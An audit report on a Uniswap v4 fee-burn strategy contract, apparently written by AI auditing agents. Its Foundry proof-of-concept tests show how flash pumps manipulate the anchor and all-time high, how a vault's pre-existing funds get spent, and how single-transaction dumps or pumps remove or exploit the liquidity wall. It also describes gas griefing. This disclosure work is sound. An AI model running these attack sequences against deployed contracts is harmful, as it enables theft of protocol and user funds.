# Audit report

> Target: src/DrawdownBurnStrategy.sol (others are deployed context). Focus: (1) pot/pendingWall/accounted vs the vault's real ARB, pre-existing vault balance must never be spent; (2) v4 flash accounting in every unlockCallback path and onFeeReceived running inside another user's swap; (3) manipulation of the anchor, hourly-close ATH, tiers and buyback limits; (4) wall tick math, single-sided add/remove, crossed-wall burn, DoS of buildWall; (5) gas inside swaps vs the 400k cap.

| | |
|---|---|
| Repository | https://github.com/ch3rryhq/drawdown-burn-audit.git |
| Commit | `f55319f8e635922358167c3ce4c78d66e040ece9` |
| Job | `d72343fc-fac6-4d10-90c9-0d2de3b41f1d` |
| Judged | 2026-10-15 22:58 UTC |
| Findings | 1 high · 5 medium · 3 low · 2 info |

Four agents audited the code as it is at `f55319f`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: First observation after deployment is not step-limited: anchor.block_ starts at 0, so one flash pump sets the anchor, the tier and the hour's close, and the next hour lifts the ATH to it

`src/DrawdownBurnStrategy.sol:416`

```
        if (a.block_ == 0) return tick;
```

The constructor stores Anchor(0, tick, ...) with block_ = 0 and _stepped() returns the raw pool tick whenever a.block_ == 0, so the very first _observe() after deployment is not limited to MAX_ANCHOR_STEP (200 ticks) from the reading the constructor already recorded in a.tick. That first reading is reachable by anyone, with no fee, through buyback() (unlockCallback -> _observe), buildWall(), the permissionless FeeVault.onFeeReceived, or simply the afterSwap of the first swap. An attacker who takes it inside one transaction (buy to any tick, buyback(), sell back) writes anchor.tick, burnBps and lastMcap at the flash price; lastMcap is the running hourly close, so the first reading of the next clock hour promotes it to athMcap (_anchorNow: hour != a.hour && mcap > ath). athMcap never decays and no owner function lowers it. With a large pump the tier reads 100% burn forever, nothing reaches pendingWall, and wallTarget() lands above the price so no wall is ever laid; the documented guarantees that a wick inside an hour is never an ATH and that the anchor moves at most ~2% per block do not hold for the install block. Cost: one round trip of fees (3.3% hook each way plus LP fee), no holding across blocks. The install flow is multi-transaction (deploy, setStrategy, transferOwnership), so the deployer cannot rely on being first. Merged from audit_math (high) and audit_flow (medium). Fix: drop the block_ == 0 special case in _stepped (the constructor already seeds a.tick), or store block.number in the constructor's anchor.

**Reproduction**

Local v4 pool, token = currency0, price at tick 0, full-range liquidity 1e21, strategy deployed with athMcap_ = 0 (ATH = deploy mcap). Next block, one transaction: swap 2000e18 ARB for token with price limit tick 20000, call strategy.buyback() (pot empty, only observes), swap token back to about tick 0. Expected: anchor.tick <= 0 + 200 and the later ATH at most ~2% over the deploy reading. Actual: anchor.tick == 20000 (assert fails '20000 > 200'); after vm.warp(+1 hours) and one more buyback(), athMcap is ~7.4x the deploy market cap. Proof test fails on this code and passes when line 416 is removed (verified both ways).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract Reserve is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// The first observation after install uses the raw pool tick: `_stepped` returns `tick` while
/// `anchor.block_ == 0`. A single-transaction pump can therefore set the anchor and `lastMcap`
/// arbitrarily far from the deploy reading, and the next hour's first reading lifts the ATH to it.
contract FirstAnchorUnsteppedTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    Reserve arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function setUp() public {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new Reserve();
        // The token must be currency0: put it at a low address.
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44)); // afterSwap + afterSwapReturnDelta
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0)); // 1 token = 1 ARB

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        // 1000 tokens / 1000 ARB of full-range liquidity.
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](0);
        strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this));
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function test_firstObservationIsNotStepped() public {
        (, int24 deployTick,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        uint256 athBefore = strat.athMcap();

        // One transaction, next block: pump the price ~7x (20000 ticks), take the block's first
        // reading, then sell back. buyback() observes on gas alone; the pot is empty so nothing is bought.
        vm.roll(101);
        _swap(false, -int256(2000e18), 20000); // buy token with ARB up to tick 20000
        (, int24 pumped,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGt(pumped, deployTick + 10000, "pump reached");
        strat.buyback();
        _swap(true, -int256(SUPPLY / 2), -10); // dump back to about the deploy price

        (, int24 anchorTick,,,) = strat.anchor();
        // Expected: the anchor moved at most MAX_ANCHOR_STEP from the deploy reading.
        assertLe(anchorTick, deployTick + strat.MAX_ANCHOR_STEP(), "anchor stepped at most 200 ticks");

        // The next hour's first reading closes this hour at the pumped reading and lifts the ATH.
        vm.roll(102);
        vm.warp(block.timestamp + 1 hours);
        strat.buyback();
        // Expected: an ATH at most ~2% (200 ticks) over the deploy reading.
        assertLe(strat.athMcap(), athBefore * 103 / 100, "ATH within one anchor step of deploy");
    }
}
```

### 2. Medium: Pre-existing vault ARB is split and spent: the bank snapshot in the constructor misses ARB not yet credited by sync and fees banked between deployment and setStrategy

`src/DrawdownBurnStrategy.sol:222`

```
        accounted = vault_.totalReceived(reserve_);
```

The requirement is that ARB already in the vault when the strategy is installed (the bank) is never counted or spent. The only protection is snapshotting vault.totalReceived in the constructor. totalReceived lags the vault's balance until someone calls FeeVault.sync, so (a) any ARB transferred to the vault directly (not via the hook's take+sync) is still FeeVault.pending at deploy; the next hook sync, anyone's permissionless vault.sync, or vault.withdraw credits it to totalReceived and the strategy's _observe() treats total - accounted as a fresh fee, splitting it into _pot/_pendingWall by the current tier, after which _due() (capped only by the vault's whole balance) and _build() spend it. (b) The snapshot is taken at deployment, not at installation: every sell the hook banks between `new DrawdownBurnStrategy(...)` and vault.setStrategy (separate transactions) raises totalReceived and is likewise counted as fresh on the first _observe() and spent by the next buyback(). Merged from audit_math, audit_permissions and audit_economics (all medium). Fix: call vault_.sync(reserve_) in the constructor before reading totalReceived (closes a), and either deploy+setStrategy atomically or add an owner one-shot install() that re-snapshots accounted = vault.totalReceived(reserve) when the vault is pointed at the strategy (closes b).

**Reproduction**

Transfer 100e18 ARB directly to a fresh FeeVault (vault.pending(ARB) == 100e18, totalReceived == 0). Deploy DrawdownBurnStrategy against it: accounted == 0. setStrategy + transferOwnership. Next block call vault.sync(ARB) then vault.onFeeReceived(ARB) (a sell swap does both). Expected: pot() + pendingWall() == 0, the 100 ARB stays bank. Actual: pot() + pendingWall() == 100e18 ('pre-existing vault balance counted as a fee: 100000000000000000000 != 0'); buyback()/buildWall() then spend it. Proof test fails on this code and passes with vault_.sync(reserve_) before the snapshot (verified both ways). Variant (b): no direct transfer, but a sell paying 10 ARB fee lands between deployment and setStrategy; after setStrategy the first observe credits 10 ARB as fresh.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {Token} from "src/Token.sol";
import {IFeeStrategy} from "src/interfaces/IFeeStrategy.sol";

contract MockARB is ERC20 {
    constructor() ERC20("Arbitrum", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// ARB already in the vault at install time (the bank) must never be counted or spent. The
/// constructor snapshots vault.totalReceived, which lags the vault's balance until someone calls
/// FeeVault.sync: an unsynced bank is split as a fresh fee by the first _observe().
contract BankCountedAsFeeTest is Test {
    PoolManager pm;
    FeeVault vault;
    Token token;
    MockARB arb;
    DrawdownBurnStrategy strat;
    address owner = address(0xA11CE);

    function _deploy() internal {
        pm = new PoolManager(address(this));
        vault = new FeeVault(owner);
        // Deploy until token < arb so the token is currency0, as the strategy requires.
        while (true) {
            token = new Token("T", "T", 1_000_000e18, address(this));
            arb = new MockARB();
            if (address(token) < address(arb)) break;
        }
    }

    function _install(uint256 ath) internal {
        PoolKey memory key = PoolKey({
            currency0: Currency.wrap(address(token)),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        address[] memory ex;
        strat = new DrawdownBurnStrategy(
            IPoolManager(address(pm)), vault, key, token, address(arb), ath, ex, 1e30, 600, owner
        );
        vm.startPrank(owner);
        vault.setStrategy(IFeeStrategy(address(strat)));
        vault.transferOwnership(address(strat));
        vm.stopPrank();
    }

    function test_bankPendingAtDeployIsCountedAsFee() public {
        _deploy();
        arb.mint(address(vault), 100e18); // the bank, delivered before the strategy exists, never synced
        assertEq(vault.pending(address(arb)), 100e18);
        _install(1e24);

        vm.roll(block.number + 1);
        vault.sync(address(arb)); // the hook does exactly this on the next sell, before notifying
        vault.onFeeReceived(address(arb)); // permissionless entry; the hook would do the same on the next swap
        // Expected: the bank is never counted. Actual: 100 ARB is now pot + pendingWall.
        assertEq(strat.pot() + strat.pendingWall(), 0, "pre-existing vault balance counted as a fee");
    }
}
```

### 3. Medium: buildWall() decides 'crossed all the way' from the raw slot0 tick, so a same-transaction dump through the wall removes it and burns its token

`src/DrawdownBurnStrategy.sol:486`

```
        if (w.liquidity != 0 && tick < w.lower) {
```

Every other price-sensitive decision (tier, buy limit) is taken at the block's stepped anchor so that a flash move cannot drive it. The crossed-wall burn is the exception: _build() reads slot0's tick directly. buildWall() is permissionless and only requires the PoolManager to be locked, which an attacker satisfies by using separate unlocks inside one transaction: (1) sell token through the wall until the tick is below wall.lower, (2) call buildWall(), which removes the whole position and burns the token it bought, (3) buy back. The wall, the protocol's documented support that 'only the owner takes out', is gone at a moment of the attacker's choosing, its ARB was handed to the attacker's sell at the wall price, and the price returns to where it was. The attacker pays the hook and LP fees on the round trip; the gain is the forced burn and the removal of support rather than direct extraction, so this is a griefing vector against the main defensive mechanism and contradicts the stated design that intra-block moves never trigger the strategy's decisions. Fix: take the crossed decision from anchor.tick (already updated by _observe() at the top of unlockCallback): `if (w.liquidity != 0 && anchor.tick < w.lower)`, so a crossing must persist for wallWidth/200 blocks before the burn fires.

**Reproduction**

Local pool at tick 0 with full-range liquidity 1e21, wallWidth 600, spacing 60, ATH = deploy mcap. Block 101: sell 100e18 token (ARB fee -> pendingWall). Block 102: buildWall() lays the wall at [-9780, -9180] with liquidity ~6.46e19. Block 103, one transaction: sell with price limit tick lower-120 (-9900), call buildWall(), buy back with limit tick 0. Expected: wall.liquidity unchanged (the price never closed below the wall). Actual: wall == (0,0,0), WallBurned emitted, the wall's token burned; assert fails '0 != 64631074360827625423'. Proof test fails on this code and passes with the anchor.tick comparison (verified both ways).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract Reserve is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// `_build` decides "crossed all the way" from the raw slot0 tick. A single transaction can sell
/// through the wall, call buildWall() to remove it and burn its token, then buy back: the wall
/// (the protocol's support) is gone although the price never closed below it.
contract WallFlashCrossTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    Reserve arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function setUp() public {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new Reserve();
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44));
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0));

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](0);
        strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this));
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function test_flashCrossingBurnsTheWall() public {
        // A sell pays an ARB fee; its kept share waits as pendingWall. Lay the wall next block.
        vm.roll(101);
        _swap(true, -int256(100e18), -1000);
        vm.roll(102);
        strat.buildWall();
        (int24 lower, int24 upper, uint128 liq) = strat.wall();
        assertGt(liq, 0, "wall laid");
        (, int24 before,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGt(before, upper, "price above the wall");

        // One transaction, next block: dump through the wall, call buildWall, buy back.
        vm.roll(103);
        _swap(true, -int256(SUPPLY / 2), lower - 120);
        strat.buildWall();
        _swap(false, -int256(1e24), before);
        (, int24 afterTick,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGe(afterTick, before - 60, "price is back where it started");

        // Expected: the wall still stands; the price never closed below it. Actual: removed and burned.
        (,, uint128 liqAfter) = strat.wall();
        assertEq(liqAfter, liq, "wall survives a same-transaction crossing");
    }
}
```

### 4. Medium: buildWall() gates the add on the spot tick, so a same-transaction pump lays the pending reserve as a wall under the market and sells into it

`src/DrawdownBurnStrategy.sol:502`

```
        if (tick < upper) return;
```

_build() decides whether the pending reserve may be laid from the pool's current slot0 tick alone. Anyone can therefore, in one transaction, (1) buy until the spot tick is at or above wallTarget().upper, (2) call buildWall(), which lays the whole pendingWall as reserve-only liquidity in [upper-wallWidth, upper), and (3) sell back down through it. The wall buys their tokens at the wall's price while the market is below it, so the pending reserve, meant to buy only if the market genuinely came down to that level, is converted to tokens at the attacker's chosen moment and the attacker captures the premium between the wall range and the market. The documented rule 'nothing is added while the price is at or inside its top' is bypassed. The state that makes this material is any time pendingWall is large while the market is under the top: fees that arrived but were not laid before the price fell, and above all after moveWall() when the new top is above the market (the whole old wall's reserve waits in pendingWall). Same root cause as the crossed-wall finding (raw slot0 tick in _build) but a distinct mechanism and impact. Fix: also require the block's anchor to be at or above the top (`if (tick < upper || anchor.tick < upper) return;`), so a single-transaction pump cannot open the gate. Note the anchor lags a genuine fall by 200 ticks per block, so for the few blocks after a drop the gate is still open with that fix; that residual lays the wall where it would have been laid a block earlier, which is acceptable, whereas the current code lays it at any depth.

**Reproduction**

Local pool at tick 0, liquidity 1e21, ATH 2e24 (2x deploy mcap), wallWidth 600. Block 101: sell 100e18 token (25% of fee -> pendingWall ~ 0.65e18). Block 102: sell to tick -4000 (under wallTarget().upper = -2280). Blocks 103..112: honest buildWall() each block lays nothing (wall.liquidity == 0) and the anchor settles under the top. Block 113, one transaction: buy with limit upper+1, buildWall(), sell back to -4000. Expected: wall still not laid (the price never closed above its top). Actual: wall laid with liquidity 57087046891404389532; after the dump wallAmounts() shows 0 reserve and 1.948e18 tokens, pendingWall drained; assert fails '57087046891404389532 != 0'. Proof test fails on this code and passes with the anchor gate added (verified both ways).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract ReserveC is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

abstract contract BaseC is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    ReserveC arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function _setUp(uint256 ath, uint256 maxPerBuy, int24 spacing, uint256 excludedN) internal {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new ReserveC();
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44));
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: spacing,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0));

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        int24 full = (887272 / spacing) * spacing;
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -full, tickUpper: full, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](excludedN);
        for (uint256 i = 0; i < excludedN; i++) {
            excluded[i] = address(uint160(0x5000 + i));
            // give each a balance so the read is a real (non-zero) slot
            token.transfer(excluded[i], 1e18);
        }
        strat = new DrawdownBurnStrategy(
            pm, vault, key, token, address(arb), ath, excluded, maxPerBuy, 10 * spacing, address(this)
        );
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function _tick() internal view returns (int24 t) {
        (, t,,) = IPoolManager(address(pm)).getSlot0(key.toId());
    }

    function _anchorTick() internal view returns (int24 t) {
        (, t,,,) = strat.anchor();
    }
}

/// C: _build() gates the add on the spot tick, so a same-transaction pump lays the pending
/// reserve as a wall under the market and the dump sells into it.
contract BuildOnSpotTest is BaseC {
    function setUp() public {
        _setUp(2e24, 100e18, 60, 0); // ATH 2x the deploy mcap: tier 75% burn, 25% wall
    }

    function test_pumpLaysWallUnderTheMarket() public {
        // Block 101: a sell leaves 25% of its fee pending for the wall.
        vm.roll(101);
        _swap(true, -int256(100e18), -1000);
        uint256 pending = strat.pendingWall();
        assertGt(pending, 0, "pending wall");
        // Block 102: the market falls under the wall's top.
        vm.roll(102);
        _swap(true, -int256(SUPPLY / 2), -4000);
        (, int24 upper) = strat.wallTarget();
        assertLt(_tick(), upper, "market under the wall top");

        // Blocks 103..112, honest calls: nothing is laid, as documented; the anchor catches up
        // with the fall and settles under the wall's top.
        uint128 liq;
        for (uint256 b = 103; b <= 112; b++) {
            vm.roll(b);
            strat.buildWall();
            (,, liq) = strat.wall();
            assertEq(liq, 0, "honest buildWall lays nothing under the top");
        }
        assertLt(_anchorTick(), upper, "anchor under the wall top");
        vm.roll(113);

        // Same block, one transaction: pump to just above the top, buildWall, dump back.
        uint256 arbBefore = arb.balanceOf(address(this));
        _swap(false, -int256(1e24), upper + 1);
        assertGe(_tick(), upper, "spot at or above the top");
        strat.buildWall();
        (,, liq) = strat.wall();
        _swap(true, -int256(SUPPLY / 2), -4000);
        (uint256 wallReserve, uint256 wallTokens) = strat.wallAmounts();
        console2.log("laid liquidity", liq);
        console2.log("wall reserve after dump", wallReserve);
        console2.log("wall tokens after dump", wallTokens);
        console2.log("pendingWall after", strat.pendingWall());
        console2.log("attacker ARB delta (signed, wei)", int256(arb.balanceOf(address(this))) - int256(arbBefore));
        // Expected: the wall is still not laid (price never closed above its top). Actual: laid and
        // immediately sold into; it holds tokens bought at the wall price while the market is lower.
        assertEq(liq, 0, "wall laid by a same-transaction pump");
    }
}
```

### 5. Medium: Anchor catch-up is free: every permissionless buyback()/vault.onFeeReceived call steps the anchor 200 ticks toward a held pump without a fee-paying trade, so a held pump makes the strategy buy at the

`src/DrawdownBurnStrategy.sol:283`

```
        _observe();
```

The natspec says a pump must be 'paid for every block -- a round trip through the pool's fee each time' to move the anchor and lift the ATH. In fact _observe() runs on every buyback() (through unlockCallback), buildWall(), and on FeeVault.onFeeReceived, which has no caller check, so once the attacker has pushed the price once and holds, each later block's call steps the anchor MAX_ANCHOR_STEP toward the pumped tick at gas cost only. Two consequences. (1) When the anchor reaches the price, _buy()'s limit is min(tick, anchor)+200, so the strategy spends min(pot, maxPerBuy) at the pumped price, again every block while the pot lasts, and the attacker sells into those buys; the loss is the pot spent above fair value, bounded per block by maxPerBuy. (2) If the hold spans a clock-hour boundary, the pumped lastMcap becomes athMcap, which never falls and no owner function resets: tiers read deeper drawdowns forever and the next wall is laid at 40% of the inflated ATH (above the price if the inflation exceeds 2.5x, so pending can never be laid). On Arbitrum block.number is the L1 block number, so a 3000-tick (35%) pump is anchored after 15 calls, about 3 minutes. The README accepts ATH lifting as a trade-off, but its cost model (a fee round trip per block) is what sizes WALL_BPS/maxPerBuy, and that cost model is wrong. Merged from audit_math (medium), audit_permissions (low) and audit_economics (low). Mitigations preserving the design: step the anchor only on readings that carry a fresh fee (fresh > 0) or at most once per time window, bound the buy limit by the hourly close rather than the stepped anchor, take the hourly close as the minimum or time-weighted anchor mcap over the hour, or add a bounded owner setAth(); at minimum correct the documented assumption.

**Reproduction**

Local pool at tick 0, liquidity 1e21, maxPerBuy 100e18, ATH = deploy mcap. Block 101: sell 1e18 token (its fee is bought back in-swap), then sell 1000e18 token to tick -5000 (its burn share stays in the pot: pot = 7.27e18). Block 102: attacker buys with limit tick 2000 and holds (that swap's afterSwap steps the anchor once). Blocks 103..: attacker calls strategy.buyback() once per block and nothing else. Expected per the natspec: no anchor movement without a fee-paying round trip, no buy above the previous anchor + 200. Actual: the anchor advances exactly 200 ticks per buyback() call (asserted each block), the attacker's ARB balance is unchanged during the catch-up, and after 9 calls the anchor is 1980, the pool tick 2032, and the strategy spends 1.8166e18 ARB of the pot ~7000 ticks (2x) above the pre-pump price. Test test/scratch/Judge.t.sol:FreeSteppingTest fails on this code with 'anchor moved without any fee-paying trade: 1980 > 180'.

### 6. Medium: Dust positions at the spacings inside the 200-tick buy window push the in-swap buyback past the 400k cap; it fails silently and buybacks fall back to buyback() alone

`src/DrawdownBurnStrategy.sol:257`

```
            try this.buyInside(amount) {} catch {}
```

The buyback inside a trader's swap runs under FeeVault.STRATEGY_GAS_LIMIT (400k; README measured peak 327k live). The nested poolManager.swap in _buy crosses every initialized tick between the current price and min(tick, anchor)+200. Crossing an initialized tick above the price writes its two feeGrowthOutside slots from zero plus the tick and bitmap reads, about 38k gas per crossing in this harness. Initializing a tick needs only a position with any liquidity (liquidityDelta 1000, a few wei of each currency), positions persist, and nothing limits who adds them. An unprivileged actor who seeds one dust position per spacing above the price (3-4 at tickSpacing 60, 20 at spacing 10) makes buyInside run out of gas once the pot is large enough to cross them; the catch at this line swallows the OutOfGas, the vault sees a successful call so no StrategyCallFailed is emitted, the fee is still split, and no buyback happens in any swap while the dust remains in the window. The pot keeps growing and every later attempt tries to spend min(pot, maxPerBuy), so the automatic path stays disabled; only the permissionless buyback() keeper call (no gas cap, ~437k here with four crossings) remains, which the README's fallback assumption covers but nothing surfaces. Merged from audit_economics (medium), audit_flow (low) and audit_math (info). Fix options that keep the design: bound the nested swap's price limit by a tick 